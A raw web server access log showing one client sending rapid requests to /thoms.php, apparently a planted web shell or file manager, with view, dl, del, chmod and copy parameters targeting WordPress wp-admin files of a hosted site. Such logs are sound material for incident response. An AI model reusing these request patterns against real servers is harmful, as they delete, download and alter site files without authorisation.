45.135.193.11 - - [11/Sep/2026:23:48:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-users.php HTTP/1.1" 200 12044 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:01 -0400] "GET /thoms.php?chmod=widgets.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:01 -0400] "GET /booking-wise2.com.tw/wp-admin/network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-options.php HTTP/1.1" 200 12049 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:01 -0400] "GET /thoms.php?del=erase-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28829 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:01 -0400] "GET /thoms.php?dl=ms-themes.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:01 -0400] "GET /booking-wise2.com.tw/wp-admin/custom-background.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:01 -0400] "GET /booking-wise2.com.tw/wp-admin/ms-users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-head.php HTTP/1.1" 200 12289 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /booking-wise2.com.tw/wp-admin/edit-form-comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /thoms.php?del=export-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /thoms.php?del=plugin-install.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28834 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /thoms.php?del=admin.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=admin.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /thoms.php?chmod=edit-tags.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /booking-wise2.com.tw/wp-admin/ms-delete-site.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /thoms.php?dl=link-add.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /thoms.php?del=options-privacy.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /thoms.php?del=post.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28836 "http://163.245.207.76:443/thoms.php?del=post.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 200 14391 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 200 13054 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /thoms.php?chmod=privacy.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fimages&p= HTTP/1.1" 200 12398 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcustom-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcustom-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /thoms.php?chmod=edit-comments.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-media.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-media.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=theme-editor.php HTTP/1.1" 200 18631 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /thoms.php?dl=options-permalink.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /thoms.php?dl=options-writing.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /booking-wise2.com.tw/wp-admin/users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fimages HTTP/1.1" 200 27504 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ffreedoms.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ffreedoms.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:03 -0400] "GET /thoms.php?dl=custom-background.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /thoms.php?del=options-head.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28828 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fthemes.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fthemes.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /thoms.php?chmod=tools.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /booking-wise2.com.tw/wp-admin/admin-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /thoms.php?del=users.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=users.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /booking-wise2.com.tw/wp-admin/ms-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /thoms.php?chmod=link-add.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /thoms.php?dl=edit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=profile.php HTTP/1.1" 200 12090 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /booking-wise2.com.tw/wp-admin/menu-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Frevision.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Frevision.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /booking-wise2.com.tw/wp-admin/nav-menus.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fsite-health.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fsite-health.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-discussion.php HTTP/1.1" 200 17196 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:04 -0400] "GET /thoms.php?del=options-connectors.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=options-connectors.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fexport.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fexport.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /thoms.php?del=credits.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28837 "http://163.245.207.76:443/thoms.php?del=credits.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-connectors.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-connectors.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /booking-wise2.com.tw/wp-admin/maint/ HTTP/1.1" 200 790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /thoms.php?dl=plugin-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /booking-wise2.com.tw/wp-admin/link-manager.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /thoms.php?del=about.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28842 "http://163.245.207.76:443/thoms.php?del=about.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /thoms.php?dl=link.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=link.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /thoms.php?chmod=ms-edit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:05 -0400] "GET /booking-wise2.com.tw/wp-admin/theme-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-connectors.php HTTP/1.1" 200 12686 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /thoms.php?del=images&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?del=images&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /thoms.php?chmod=options-reading.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=user-edit.php HTTP/1.1" 200 24988 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /booking-wise2.com.tw/wp-admin/customize.php HTTP/1.1" 403 1171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /booking-wise2.com.tw/wp-admin/options-privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /thoms.php?del=admin-footer.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmaint&p= HTTP/1.1" 200 12435 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /thoms.php?del=theme-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-comments.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-comments.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /thoms.php?chmod=media-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:06 -0400] "GET /thoms.php?dl=ms-users.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:07 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
